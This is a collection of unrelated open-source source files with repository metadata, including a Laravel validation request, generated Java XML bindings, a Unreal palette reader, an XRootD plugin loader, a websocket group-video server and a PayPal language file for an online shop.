amir9480/Traffic-booster
public_html/js/websites.js
JavaScript
gpl-3.0
10,083
<?php namespace Modules\Acl\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class PerimeterUpdateRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $id = $this->perimeter; return $rules = [ 'com' => 'required|max:5|unique:perimeters,com,'.$id, 'nom_com' => 'required|unique:perimeters,nom_com,'.$id, 'epci' => 'required|max:9,epci,'.$id, 'dep' => 'required|max:2,dep,'.$id ]; } }
diouck/laravel
Modules/Acl/Http/Requests/PerimeterUpdateRequest.php
PHP
gpl-3.0
763
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.7-b41 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2016.09.01 at 06:27:35 PM MSK // package com.apple.itunes.importer.tv; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.bind.annotation.XmlSchemaType; import javax.xml.bind.annotation.XmlType; import javax.xml.bind.annotation.adapters.CollapsedStringAdapter; import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter; /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;attGroup ref="{http://apple.com/itunes/importer}ReviewComponentItem"/> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "") @XmlRootElement(name = "review_component_item") public class ReviewComponentItem { @XmlAttribute(name = "locale") @XmlJavaTypeAdapter(CollapsedStringAdapter.class) protected String locale; @XmlAttribute(name = "type", required = true) @XmlSchemaType(name = "anySimpleType") protected String type; /** * Gets the value of the locale property. * * @return * possible object is * {@link String } * */ public String getLocale() { return locale; } /** * Sets the value of the locale property. * * @param value * allowed object is * {@link String } * */ public void setLocale(String value) { this.locale = value; } /** * Gets the value of the type property. * * @return * possible object is * {@link String } * */ public String getType() { return type; } /** * Sets the value of the type property. * * @param value * allowed object is * {@link String } * */ public void setType(String value) { this.type = value; } }
DSRCorporation/imf-conversion
itunes-metadata-tv/src/main/java/com/apple/itunes/importer/tv/ReviewComponentItem.java
Java
gpl-3.0
2,525
<?php /* * Copyright (C) 2014 Aaron Sharp * Released under GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 */ namespace Controllers; class IndexController extends Controller { protected $subController = NULL; public function setSubController($subController) { $this->subController = $subController; } public function getSubController() { return $this->subController; } public function parseSession() { return; } public function parseInput() { if (isset($_REQUEST['step'])) { $this->setSubController($this->workflow->getController($_REQUEST['step'])); } else { $this->setSubController(new LoginController($this->getWorkflow())); } } public function retrievePastResults() { return ""; } public function renderInstructions() { return ""; } public function renderForm() { return ""; } public function renderHelp() { return ""; } public function getSubTitle() { return ""; } public function renderSpecificStyle() { return ""; } public function renderSpecificScript() { return ""; } public function getScriptLibraries() { return array(); } public function renderOutput() { if ($this->subController) { $this->subController->run(); } else { error_log("Attempted to render output before setting subcontroller"); } } }
chnops/QIIMEIntegration
includes/Controllers/IndexController.php
PHP
gpl-3.0
1,275
// // UnrealPaletteDataFormat.cs // // Author: // Michael Becker <alcexhim@gmail.com> // // Copyright (c) 2021 Mike Becker's Software // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. using System; using MBS.Framework.Drawing; using UniversalEditor.IO; using UniversalEditor.ObjectModels.Multimedia.Palette; namespace UniversalEditor.DataFormats.Multimedia.Palette.Unreal { public class UnrealPaletteDataFormat : DataFormat { public UnrealPaletteDataFormat() { } protected override void LoadInternal(ref ObjectModel objectModel) { PaletteObjectModel palette = (objectModel as PaletteObjectModel); if (palette == null) throw new ObjectModelNotSupportedException(); Reader reader = Accessor.Reader; ushort signature = reader.ReadUInt16(); while (!reader.EndOfStream) { byte r = reader.ReadByte(); byte g = reader.ReadByte(); byte b = reader.ReadByte(); byte a = reader.ReadByte(); palette.Entries.Add(Color.FromRGBAByte(r, g, b, a)); } } protected override void SaveInternal(ObjectModel objectModel) { PaletteObjectModel palette = (objectModel as PaletteObjectModel); if (palette == null) throw new ObjectModelNotSupportedException(); Writer writer = Accessor.Writer; writer.WriteUInt16(0x4001); for (int i = 0; i < Math.Min(palette.Entries.Count, 256); i++) { writer.WriteByte(palette.Entries[i].Color.GetRedByte()); writer.WriteByte(palette.Entries[i].Color.GetGreenByte()); writer.WriteByte(palette.Entries[i].Color.GetBlueByte()); writer.WriteByte(palette.Entries[i].Color.GetAlphaByte()); } int remaining = (256 - palette.Entries.Count); if (remaining > 0) { for (int i = 0; i < remaining; i++) { writer.WriteByte(0); writer.WriteByte(0); writer.WriteByte(0); writer.WriteByte(0); } } } } }
alcexhim/UniversalEditor
Plugins/UniversalEditor.Plugins.UnrealEngine/DataFormats/Multimedia/Palette/Unreal/UnrealPaletteDataFormat.cs
C#
gpl-3.0
2,463
require 'geomerative' # After an original sketch by fjenett # Declare the objects we are going to use, so that they are accesible # from setup and from draw attr_reader :shp, :x, :y, :xd, :yd def settings size(600, 400) smooth(4) end def setup sketch_title 'Blobby Trail' RG.init(self) @xd = rand(-5..5) @yd = rand(-5..5) @x = width / 2 @y = height / 2 @shp = RShape.new end def draw background(120) move elli = RG.getEllipse(x, y, rand(2..20)) @shp = RG.union(shp, elli) RG.shape(shp) end def move @x += xd @xd *= -1 unless (0..width).cover?(x) @y += yd @yd *= -1 unless (0..height).cover?(y) end
ruby-processing/JRubyArt-examples
external_library/gem/geomerative/blobby_trail.rb
Ruby
gpl-3.0
638
#!/usr/bin/env python if __name__ == '__main__': from anoisetools.scripts.dispatch import main main()
fhcrc/ampliconnoise
anoise.py
Python
gpl-3.0
111
/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* * Scoreable.java * Copyright (C) 2001 Remco Bouckaert * */ package weka.classifiers.bayes.net.search.local; /** * Interface for allowing to score a classifier * * @author Remco Bouckaert (rrb@xm.co.nz) * @version $Revision: 1.1 $ */ public interface Scoreable { /** * score types */ int BAYES = 0; int BDeu = 1; int MDL = 2; int ENTROPY = 3; int AIC = 4; /** * Returns log-score */ double logScore(int nType); } // interface Scoreable
paolopavan/cfr
src/weka/classifiers/BAYES/NET/SEARCH/LOCAL/Scoreable.java
Java
gpl-3.0
1,195
package donnees; import java.io.BufferedReader; import java.io.FileReader; import java.util.ArrayList; public class ProducteurDefaut implements IProducteur { private ArrayList<String> donnees; private IMagasin Magasin; public ProducteurDefaut() { super(); donnees = new ArrayList<String>(); Magasin = null; try { BufferedReader br = new BufferedReader(new FileReader("donnees/donnees.txt")); String ligne; while((ligne = br.readLine())!=null) { donnees.add(ligne); } br.close(); } catch (Exception e) { e.printStackTrace(); } } public ArrayList<IProduit> getProduits(IMagasin oMagasin){ Class<?> produit = null; IProduit concret = null; ArrayList<IProduit> oProduit = new ArrayList<IProduit>(); for (String s : donnees) { if(s.contains("class=donnees.Produit")) {//c'est un produit, on va maintenant verifier que c'est un produit du bon magasin. if(s.split(";")[5].split("=")[1].equals(oMagasin.getNomMag())) {//bon mag try { concret = newProduit(s); concret.setNom(s.split(";")[1].split("=")[1]); concret.setType(s.split(";")[2].split("=")[1]); concret.setPrix(Float.parseFloat(s.split(";")[3].split("=")[1])); concret.setQuantites(Integer.parseInt(s.split(";")[4].split("=")[1])); oProduit.add(concret); } catch (Exception e) { e.printStackTrace(); } } } } return oProduit; } private IProduit newProduit(String s) throws ClassNotFoundException, InstantiationException, IllegalAccessException { // Class<?> produit; IProduit concret; // produit = Class.forName(s.split(";")[0].split("=")[1]); // // concret = (IProduit) produit.newInstance(); concret = new ProduitConcret(); return concret; } public IMagasin getMagasin() { if(Magasin == null) { ArrayList<String> magPos = new ArrayList<String>(); System.out.println("liste des magasins: "); for (String s : donnees) { if(s.contains("donnees.Magasin")) { magPos.add(s.split(";")[0].split("=")[1]); System.out.println(s.split(";")[1].split("=")[1]); if(s.split(";")[2].split("=")[1].equals("now")) { System.out.println("load obligatoire, debut..."); try { Magasin = newMagasin(s); Magasin.setNomMag(s.split(";")[1].split("=")[1]); } catch (Exception e) { e.printStackTrace(); } } } } ArrayList<IProduit> stock = getProduits(Magasin); Magasin.setProduits(stock); } return Magasin; } private IMagasin newMagasin(String s) throws ClassNotFoundException, InstantiationException, IllegalAccessException { // Class<?> magasin; // magasin = Class.forName(s.split(";")[0].split("=")[1]); IMagasin magasin = new MagasinConcret(); // Magasin = (IMagasin) magasin.newInstance(); return magasin; } }
Liciax/Projet-M1ALMA-Logiciels-Extensibles
Projet_exten/src/donnees/ProducteurDefaut.java
Java
gpl-3.0
3,118
/* * Synload Development Services * September 16, 2013 * Nathaniel Davidson <nathaniel.davidson@gmail.com> * http://synload.com */ package com.synload.groupvideo; import it.sauronsoftware.base64.Base64; import java.net.InetSocketAddress; import java.util.Hashtable; import org.java_websocket.WebSocket; import org.java_websocket.drafts.Draft; import org.java_websocket.handshake.ClientHandshake; import org.java_websocket.server.WebSocketServer; import com.synload.groupvideo.request.RequestGenerator; import com.synload.groupvideo.request.RequestHandler; import com.synload.groupvideo.users.User; public class Server extends WebSocketServer { public Server( InetSocketAddress address, Draft d ) { super( address ); } public Group newGroup(String name){ Group newGroup = new Group(this); newGroup.groupTitle = name; activeGroups.put(name, newGroup); return newGroup; } public Group getGroup(String name){ if(!activeGroups.containsKey(name)){ return this.newGroup(name); }else{ return activeGroups.get(name); } } @Override public void onError(WebSocket conn, Exception ex) { ex.printStackTrace(); } private RequestHandler request = new RequestHandler(); public Hashtable<String, Group> activeGroups = new Hashtable<String, Group>(); public Hashtable<WebSocket, String> clientGroup = new Hashtable<WebSocket, String>(); public Hashtable<WebSocket, String> clientName = new Hashtable<WebSocket, String>(); public RequestGenerator jsonbuilder = new RequestGenerator(); @Override public void onOpen(WebSocket conn, ClientHandshake handshake) { User user = new User(conn, this); //user.sendMessage("Welcome to GroupVideo!","System"); user.sendResponseData(this.jsonbuilder.user_nick()); System.out.println(conn+" connected"); } @Override public void onClose(WebSocket conn, int code, String reason, boolean remote) { if(clientGroup.containsKey(conn)){ Group group = getGroup(clientGroup.get(conn)); group.removeClient(conn); group.sendData(this.jsonbuilder.left(clientName.get(conn))); if(group.empty()){ group.thread.interrupt(); System.out.println(clientGroup.get(conn)+" destroyed!"); activeGroups.remove(clientGroup.get(conn)); clientGroup.remove(conn); }else{ if(group.getOwner().equals(conn)){ group.setOwner(group.clients.get(0)); System.out.println(clientName.get(group.clients.get(0))+" now owner of "+clientGroup.get(conn)); } clientGroup.remove(conn); String users = ""; for(WebSocket cl: group.clients){ if(users.equals("")){ users = clientName.get(cl); }else{ users += ","+clientName.get(cl); } } group.sendData("act=plylst&usrs="+Base64.encode(users)); } } if(clientName.containsKey(conn)){ System.out.println(clientName.get(conn)+" disconnected!"); clientName.remove(conn); } } @Override public void onMessage(WebSocket conn, String message) { request.translateRequest(conn,message, this); } }
firestar/GroupVideo
com/synload/groupvideo/Server.java
Java
gpl-3.0
3,491
FactoryBot.define do factory :status_change do status_change_to { 0 } status_change_from { 1 } entity { nil } end end
AgileVentures/MetPlus_PETS
spec/factories/status_changes.rb
Ruby
gpl-3.0
134
<?php namespace PhpOffice\Common\Adapter\Zip; use ZipArchive; class ZipArchiveAdapter implements ZipInterface { /** * @var ZipArchive */ protected $oZipArchive; /** * @var string */ protected $filename; public function open($filename) { $this->filename = $filename; $this->oZipArchive = new ZipArchive(); if ($this->oZipArchive->open($this->filename, ZipArchive::OVERWRITE) === true) { return $this; } if ($this->oZipArchive->open($this->filename, ZipArchive::CREATE) === true) { return $this; } throw new \Exception("Could not open $this->filename for writing."); } public function close() { if ($this->oZipArchive->close() === false) { throw new \Exception("Could not close zip file $this->filename."); } return $this; } public function addFromString($localname, $contents) { if ($this->oZipArchive->addFromString($localname, $contents) === false) { throw new \Exception('Error zipping files : ' . $localname); } return $this; } }
collectiveaccess/pawtucket2
vendor/phpoffice/common/src/Common/Adapter/Zip/ZipArchiveAdapter.php
PHP
gpl-3.0
1,167
/* * Copyright (c) 2017 "Neo4j, Inc." <http://neo4j.com> * * This file is part of Neo4j Graph Algorithms <http://github.com/neo4j-contrib/neo4j-graph-algorithms>. * * Neo4j Graph Algorithms is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.neo4j.graphalgo.impl.degree; import org.neo4j.graphalgo.api.Graph; import org.neo4j.graphalgo.core.utils.ParallelUtil; import org.neo4j.graphalgo.core.utils.Pools; import org.neo4j.graphalgo.impl.Algorithm; import org.neo4j.graphalgo.impl.pagerank.DegreeCentralityAlgorithm; import org.neo4j.graphalgo.impl.results.CentralityResult; import org.neo4j.graphalgo.impl.results.DoubleArrayResult; import org.neo4j.graphdb.Direction; import java.util.ArrayList; import java.util.concurrent.ExecutorService; import java.util.concurrent.atomic.AtomicInteger; import java.util.stream.IntStream; import java.util.stream.Stream; public class WeightedDegreeCentrality extends Algorithm<WeightedDegreeCentrality> implements DegreeCentralityAlgorithm { private final int nodeCount; private Direction direction; private Graph graph; private final ExecutorService executor; private final int concurrency; private volatile AtomicInteger nodeQueue = new AtomicInteger(); private double[] degrees; private double[][] weights; public WeightedDegreeCentrality( Graph graph, ExecutorService executor, int concurrency, Direction direction ) { if (concurrency <= 0) { concurrency = Pools.DEFAULT_CONCURRENCY; } this.graph = graph; this.executor = executor; this.concurrency = concurrency; nodeCount = Math.toIntExact(graph.nodeCount()); this.direction = direction; degrees = new double[nodeCount]; weights = new double[nodeCount][]; } public WeightedDegreeCentrality compute(boolean cacheWeights) { nodeQueue.set(0); int batchSize = ParallelUtil.adjustBatchSize(nodeCount, concurrency); int taskCount = ParallelUtil.threadSize(batchSize, nodeCount); final ArrayList<Runnable> tasks = new ArrayList<>(taskCount); for (int i = 0; i < taskCount; i++) { if(cacheWeights) { tasks.add(new CacheDegreeTask()); } else { tasks.add(new DegreeTask()); } } ParallelUtil.runWithConcurrency(concurrency, tasks, executor); return this; } @Override public WeightedDegreeCentrality me() { return this; } @Override public WeightedDegreeCentrality release() { graph = null; return null; } @Override public CentralityResult result() { return new DoubleArrayResult(degrees); } @Override public void compute() { compute(false); } @Override public Algorithm<?> algorithm() { return this; } private class DegreeTask implements Runnable { @Override public void run() { for (; ; ) { final int nodeId = nodeQueue.getAndIncrement(); if (nodeId >= nodeCount || !running()) { return; } double[] weightedDegree = new double[1]; graph.forEachRelationship(nodeId, direction, (sourceNodeId, targetNodeId, relationId, weight) -> { if(weight > 0) { weightedDegree[0] += weight; } return true; }); degrees[nodeId] = weightedDegree[0]; } } } private class CacheDegreeTask implements Runnable { @Override public void run() { for (; ; ) { final int nodeId = nodeQueue.getAndIncrement(); if (nodeId >= nodeCount || !running()) { return; } weights[nodeId] = new double[graph.degree(nodeId, direction)]; int[] index = {0}; double[] weightedDegree = new double[1]; graph.forEachRelationship(nodeId, direction, (sourceNodeId, targetNodeId, relationId, weight) -> { if(weight > 0) { weightedDegree[0] += weight; } weights[nodeId][index[0]] = weight; index[0]++; return true; }); degrees[nodeId] = weightedDegree[0]; } } } public double[] degrees() { return degrees; } public double[][] weights() { return weights; } public Stream<DegreeCentrality.Result> resultStream() { return IntStream.range(0, nodeCount) .mapToObj(nodeId -> new DegreeCentrality.Result(graph.toOriginalNodeId(nodeId), degrees[nodeId])); } }
neo4j-contrib/neo4j-graph-algorithms
algo/src/main/java/org/neo4j/graphalgo/impl/degree/WeightedDegreeCentrality.java
Java
gpl-3.0
5,540
package sporemodder.extras.spuieditor.components; import sporemodder.extras.spuieditor.SPUIViewer; import sporemodder.files.formats.spui.InvalidBlockException; import sporemodder.files.formats.spui.SPUIBlock; import sporemodder.files.formats.spui.SPUIBuilder; public class cSPUIBehaviorWinBoolStateEvent extends cSPUIBehaviorWinEventBase { public static final int TYPE = 0x025611ED; public cSPUIBehaviorWinBoolStateEvent(SPUIBlock block) throws InvalidBlockException { super(block); addUnassignedInt(block, 0x03339952, 0); } public cSPUIBehaviorWinBoolStateEvent(SPUIViewer viewer) { super(viewer); unassignedProperties.put(0x03339952, (int) 0); } @Override public SPUIBlock saveComponent(SPUIBuilder builder) { SPUIBlock block = (SPUIBlock) super.saveComponent(builder); saveInt(builder, block, 0x03339952); return block; } private cSPUIBehaviorWinBoolStateEvent() { super(); } @Override public cSPUIBehaviorWinBoolStateEvent copyComponent(boolean propagateIndependent) { cSPUIBehaviorWinBoolStateEvent other = new cSPUIBehaviorWinBoolStateEvent(); copyComponent(other, propagateIndependent); return other; } }
Emd4600/SporeModder
src/sporemodder/extras/spuieditor/components/cSPUIBehaviorWinBoolStateEvent.java
Java
gpl-3.0
1,174
#!/usr/bin/env python """ Seshat Web App/API framework built on top of gevent modifying decorators for HTTP method functions For more information, see: https://github.com/JoshAshby/ http://xkcd.com/353/ Josh Ashby 2014 http://joshashby.com joshuaashby@joshashby.com """ import json import seshat_addons.utils.patch_json from ..view.template import template import seshat.actions as actions def HTML(f): def wrapper(*args, **kwargs): self = args[0] data = {"title": self._title if self._title else "Untitled"} self.view = template(self._tmpl, self.request, data) res = f(*args, **kwargs) if isinstance(res, actions.BaseAction): return res if type(res) is dict: self.view.data = res res = self.view if isinstance(res, template): string = res.render() else: string = res del res self.head.add_header("Content-Type", "text/html") return string return wrapper def JSON(f): def wrapper(*args, **kwargs): self = args[0] res = f(*args, **kwargs) if isinstance(res, actions.BaseAction): return res if type(res) is not list: res = [res] self.head.add_header("Content-Type", "application/json") return json.dumps(res) return wrapper def Guess(f): def wrapper(*args, **kwargs): self = args[0] res = f(*args, **kwargs) if isinstance(res, actions.BaseAction): return res if self.request.accepts("html") or self.request.accepts("*/*"): self.head.add_header("Content-Type", "text/html") data = {"title": self._title if self._title else "Untitled"} data.update(res) view = template(self._tmpl, self.request, data).render() del res return view if self.request.accepts("json") or self.request.accepts("*/*"): self.head.add_header("Content-Type", "application/json") t_res = type(res) if t_res is dict: final_res = json.dumps([res]) elif t_res is list: final_res = json.dumps(res) del res return final_res else: return unicode(res) return wrapper
JoshAshby/seshat_addons
seshat_addons/seshat/func_mods.py
Python
gpl-3.0
2,354
/******************************************************************************/ /* */ /* X r d X r o o t d L o a d L i b . c c */ /* */ /* (c) 2004 by the Board of Trustees of the Leland Stanford, Jr., University */ /* Produced by Andrew Hanushevsky for Stanford University under contract */ /* DE-AC02-76-SFO0515 with the Department of Energy */ /* */ /* This file is part of the XRootD software suite. */ /* */ /* XRootD is free software: you can redistribute it and/or modify it under */ /* the terms of the GNU Lesser General Public License as published by the */ /* Free Software Foundation, either version 3 of the License, or (at your */ /* option) any later version. */ /* */ /* XRootD is distributed in the hope that it will be useful, but WITHOUT */ /* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or */ /* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public */ /* License for more details. */ /* */ /* You should have received a copy of the GNU Lesser General Public License */ /* along with XRootD in a file called COPYING.LESSER (LGPL license) and file */ /* COPYING (GPL license). If not, see <http://www.gnu.org/licenses/>. */ /* */ /* The copyright holder's institutional names and contributor's names may not */ /* be used to endorse or promote products derived from this software without */ /* specific prior written permission of the institution or contributor. */ /******************************************************************************/ #include "XrdVersion.hh" #include "XrdOuc/XrdOucEnv.hh" #include "XrdSec/XrdSecInterface.hh" #include "XrdSfs/XrdSfsInterface.hh" #include "XrdSys/XrdSysError.hh" #include "XrdSys/XrdSysPlugin.hh" /******************************************************************************/ /* V e r s i o n I n f o r m a t i o n L i n k */ /******************************************************************************/ XrdVERSIONINFOREF(XrdgetProtocol); /******************************************************************************/ /* x r o o t d _ l o a d F i l e s y s t e m */ /******************************************************************************/ XrdSfsFileSystem *XrdXrootdloadFileSystem(XrdSysError *eDest, char *fslib, const char *cfn) { XrdSysPlugin ofsLib(eDest,fslib,"fslib",&XrdVERSIONINFOVAR(XrdgetProtocol)); XrdSfsFileSystem *(*ep)(XrdSfsFileSystem *, XrdSysLogger *, const char *); XrdSfsFileSystem *FS; // Record the library path in the environment // XrdOucEnv::Export("XRDOFSLIB", fslib); // Get the file system object creator // if (!(ep = (XrdSfsFileSystem *(*)(XrdSfsFileSystem *,XrdSysLogger *,const char *)) ofsLib.getPlugin("XrdSfsGetFileSystem"))) return 0; // Get the file system object // if (!(FS = (*ep)(0, eDest->logger(), cfn))) {eDest->Emsg("Config", "Unable to create file system object via",fslib); return 0; } // All done // ofsLib.Persist(); return FS; } /******************************************************************************/ /* x r o o t d _ l o a d S e c u r i t y */ /******************************************************************************/ XrdSecService *XrdXrootdloadSecurity(XrdSysError *eDest, char *seclib, char *cfn, void **secGetProt) { XrdSysPlugin secLib(eDest, seclib, "seclib", &XrdVERSIONINFOVAR(XrdgetProtocol), 1); XrdSecService *(*ep)(XrdSysLogger *, const char *cfn); XrdSecService *CIA; // Get the server object creator // if (!(ep = (XrdSecService *(*)(XrdSysLogger *, const char *cfn)) secLib.getPlugin("XrdSecgetService"))) return 0; // Get the server object // if (!(CIA = (*ep)(eDest->logger(), cfn))) {eDest->Emsg("Config", "Unable to create security service object via",seclib); return 0; } // Get the client object creator (in case we are acting as a client). We return // the function pointer as a (void *) to the caller so that it can be passed // onward via an environment object. // if (!(*secGetProt = (void *)secLib.getPlugin("XrdSecGetProtocol"))) return 0; // All done // secLib.Persist(); return CIA; }
bbockelm/xrootd_old_git
src/XrdXrootd/XrdXrootdLoadLib.cc
C++
gpl-3.0
5,139
// // This file was generated by the BinaryNotes compiler. // See http://bnotes.sourceforge.net // Any modifications to this file will be lost upon recompilation of the source ASN.1. // using System; using org.bn.attributes; using org.bn.attributes.constraints; using org.bn.coders; using org.bn.types; using org.bn; namespace MMS_ASN1_Model { [ASN1PreparedElement] [ASN1Sequence ( Name = "Unit_Control_instance", IsSet = false )] public class Unit_Control_instance : IASN1PreparedElement { private Identifier name_ ; [ASN1Element ( Name = "name", IsOptional = false , HasTag = true, Tag = 0 , HasDefaultValue = false ) ] public Identifier Name { get { return name_; } set { name_ = value; } } private DefinitionChoiceType definition_ ; [ASN1PreparedElement] [ASN1Choice ( Name = "definition" )] public class DefinitionChoiceType : IASN1PreparedElement { private ObjectIdentifier reference_ ; private bool reference_selected = false ; [ASN1ObjectIdentifier( Name = "" )] [ASN1Element ( Name = "reference", IsOptional = false , HasTag = true, Tag = 1 , HasDefaultValue = false ) ] public ObjectIdentifier Reference { get { return reference_; } set { selectReference(value); } } private DetailsSequenceType details_ ; private bool details_selected = false ; [ASN1PreparedElement] [ASN1Sequence ( Name = "details", IsSet = false )] public class DetailsSequenceType : IASN1PreparedElement { private Access_Control_List_instance accessControl_ ; [ASN1Element ( Name = "accessControl", IsOptional = false , HasTag = true, Tag = 3 , HasDefaultValue = false ) ] public Access_Control_List_instance AccessControl { get { return accessControl_; } set { accessControl_ = value; } } private System.Collections.Generic.ICollection<Domain_instance> domains_ ; [ASN1SequenceOf( Name = "domains", IsSetOf = false )] [ASN1Element ( Name = "domains", IsOptional = false , HasTag = true, Tag = 4 , HasDefaultValue = false ) ] public System.Collections.Generic.ICollection<Domain_instance> Domains { get { return domains_; } set { domains_ = value; } } private System.Collections.Generic.ICollection<Program_Invocation_instance> programInvocations_ ; [ASN1SequenceOf( Name = "programInvocations", IsSetOf = false )] [ASN1Element ( Name = "programInvocations", IsOptional = false , HasTag = true, Tag = 5 , HasDefaultValue = false ) ] public System.Collections.Generic.ICollection<Program_Invocation_instance> ProgramInvocations { get { return programInvocations_; } set { programInvocations_ = value; } } public void initWithDefaults() { } private static IASN1PreparedElementData preparedData = CoderFactory.getInstance().newPreparedElementData(typeof(DetailsSequenceType)); public IASN1PreparedElementData PreparedData { get { return preparedData; } } } [ASN1Element ( Name = "details", IsOptional = false , HasTag = true, Tag = 2 , HasDefaultValue = false ) ] public DetailsSequenceType Details { get { return details_; } set { selectDetails(value); } } public bool isReferenceSelected () { return this.reference_selected ; } public void selectReference (ObjectIdentifier val) { this.reference_ = val; this.reference_selected = true; this.details_selected = false; } public bool isDetailsSelected () { return this.details_selected ; } public void selectDetails (DetailsSequenceType val) { this.details_ = val; this.details_selected = true; this.reference_selected = false; } public void initWithDefaults() { } private static IASN1PreparedElementData preparedData = CoderFactory.getInstance().newPreparedElementData(typeof(DefinitionChoiceType)); public IASN1PreparedElementData PreparedData { get { return preparedData; } } } [ASN1Element ( Name = "definition", IsOptional = false , HasTag = false , HasDefaultValue = false ) ] public DefinitionChoiceType Definition { get { return definition_; } set { definition_ = value; } } public void initWithDefaults() { } private static IASN1PreparedElementData preparedData = CoderFactory.getInstance().newPreparedElementData(typeof(Unit_Control_instance)); public IASN1PreparedElementData PreparedData { get { return preparedData; } } } }
rogerz/IEDExplorer
MMS_ASN1_Model/Unit_Control_instance.cs
C#
gpl-3.0
5,743
// VNR - Plugin for NewRelic which monitors `varnishstat` // Copyright (C) 2015 Luke Mallon // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. package process import ( "github.com/nalum/vnr/structs" "log" ) func VClient(Channel chan interface{}) { var holder interface{} var data structs.VClient for { holder = <-Channel data = holder.(structs.VClient) log.Println(data) } }
Nalum/vnr
process/vclient.go
GO
gpl-3.0
990
<?php // Heading $_['heading_title'] = 'View Transaction'; // Text $_['text_pp_express'] = 'PayPal Express Checkout'; $_['text_product_lines'] = 'Product lines'; $_['text_ebay_txn_id'] = 'eBay transaction ID'; $_['text_name'] = 'Navn'; $_['text_qty'] = 'Lager'; $_['text_price'] = 'Pris'; $_['text_number'] = 'Number'; $_['text_coupon_id'] = 'Coupon ID'; $_['text_coupon_amount'] = 'Coupon amount'; $_['text_coupon_currency'] = 'Coupon currency'; $_['text_loyalty_disc_amt'] = 'Loyalty card disc amount'; $_['text_loyalty_currency'] = 'Loyalty card currency'; $_['text_options_name'] = 'Options name'; $_['text_tax_amt'] = 'Tax amount'; $_['text_currency_code'] = 'Currency code'; $_['text_amount'] = 'Beløp'; $_['text_gift_msg'] = 'Gift message'; $_['text_gift_receipt'] = 'Gift receipt'; $_['text_gift_wrap_name'] = 'Gift wrap name'; $_['text_gift_wrap_amt'] = 'Gift wrap amount'; $_['text_buyer_email_market'] = 'Buyer marketing email'; $_['text_survey_question'] = 'Survey question'; $_['text_survey_chosen'] = 'Survey choice selected'; $_['text_receiver_business'] = 'Receiver business'; $_['text_receiver_email'] = 'Receiver email'; $_['text_receiver_id'] = 'Receiver ID'; $_['text_buyer_email'] = 'Buyer email'; $_['text_payer_id'] = 'Payer ID'; $_['text_payer_status'] = 'Payer status'; $_['text_country_code'] = 'Country code'; $_['text_payer_business'] = 'Payer business'; $_['text_payer_salute'] = 'Payer salutation'; $_['text_payer_firstname'] = 'Payer first name'; $_['text_payer_middlename'] = 'Payer middle name'; $_['text_payer_lastname'] = 'Payer last name'; $_['text_payer_suffix'] = 'Payer suffix'; $_['text_address_owner'] = 'Address owner'; $_['text_address_status'] = 'Address status'; $_['text_ship_sec_name'] = 'Ship to secondary name'; $_['text_ship_name'] = 'Ship to name'; $_['text_ship_street1'] = 'Ship to address 1'; $_['text_ship_street2'] = 'Ship to address 2'; $_['text_ship_city'] = 'Ship to city'; $_['text_ship_state'] = 'Ship to state'; $_['text_ship_zip'] = 'Ship to ZIP'; $_['text_ship_country'] = 'Ship to country code'; $_['text_ship_phone'] = 'Ship to phone number'; $_['text_ship_sec_add1'] = 'Ship to secondary address 1'; $_['text_ship_sec_add2'] = 'Ship to secondary address 2'; $_['text_ship_sec_city'] = 'Ship to secondary city'; $_['text_ship_sec_state'] = 'Ship to secondary state'; $_['text_ship_sec_zip'] = 'Ship to secondary ZIP'; $_['text_ship_sec_country'] = 'Ship to secondary country code'; $_['text_ship_sec_phone'] = 'Ship to secondary phone'; $_['text_trans_id'] = 'Transaction ID'; $_['text_receipt_id'] = 'Receipt ID'; $_['text_parent_trans_id'] = 'Parent transaction ID'; $_['text_trans_type'] = 'Transaction type'; $_['text_payment_type'] = 'Payment type'; $_['text_order_time'] = 'Order time'; $_['text_fee_amount'] = 'Fee amount'; 